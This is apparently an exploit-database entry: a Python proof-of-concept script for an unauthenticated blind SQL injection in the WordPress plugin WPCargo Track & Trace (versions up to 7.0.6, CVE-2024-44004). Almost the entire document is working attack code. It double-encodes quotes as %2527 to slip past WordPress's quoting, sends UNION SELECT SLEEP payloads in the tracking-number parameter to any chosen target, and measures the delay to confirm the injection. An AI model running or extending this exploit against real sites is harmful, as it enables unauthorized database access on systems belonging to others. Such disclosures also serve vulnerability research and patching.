📄 WordPress WPCargo Track and Trace 7.0.6 Unauthenticated SQL Injection

#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin WPCargo Track & Trace <= 7.0.6 - Unauthenticated SQLi
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/wpcargo/
    # Software Link: https://downloads.wordpress.org/plugin/wpcargo.7.0.6.zip
    # Version: 7.0.6 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-44004
    """Self-contained blackbox HTTP proof of the WPCargo blind SQL injection.
    
    WordPress applies wp_magic_quotes() before the plugin receives the tracking number. The vulnerable
    code later URL-decodes that value, so the quote must be double-encoded as %2527 on the wire. This
    script builds the query string itself to preserve that encoding and compares a SLEEP(0) control
    with an attacker-controlled SLEEP(n) request.
    """
    import argparse
    import sys
    import time
    
    import requests
    
    requests.packages.urllib3.disable_warnings()
    
    
    def encode_injected_value(value):
        """Encode once, but emit a quote as literal %2527 for the post-magic-quotes urldecode sink."""
        encoded = []
        for char in value:
            if char == "'":
                encoded.append("%2527")
            elif char.isalnum() or char in "()-_.":
                encoded.append(char)
            else:
                encoded.append("%%%02X" % ord(char))
        return "".join(encoded)
    
    
    def probe(base, path, payload, timeout):
        query = "wpcargo_tracking_number=" + encode_injected_value(payload)
        started = time.monotonic()
        try:
            requests.get(base + path + "?" + query, verify=False, timeout=timeout)
        except requests.exceptions.ReadTimeout:
            return float(timeout)
        return time.monotonic() - started
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--track-path", default="/track/", help="page containing [wpcargo_trackform]")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        path = "/" + args.track_path.strip("/") + "/"
        control = "x' UNION SELECT SLEEP(0)-- -"
        delayed = f"x' UNION SELECT SLEEP({args.sleep})-- -"
        t0 = probe(base, path, control, 20)
        t1 = probe(base, path, delayed, args.sleep + 15)
        delta = t1 - t0
        print(f"[*] Target: {base}{path}")
        print(f"[*] baseline={t0:.2f}s  sleep({args.sleep})={t1:.2f}s  delta={delta:.2f}s")
        if delta > args.sleep * 0.6:
            print("\n[+] SQL INJECTION CONFIRMED (time-based, blind).")
            return 0
        print("\n[-] not confirmed")
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())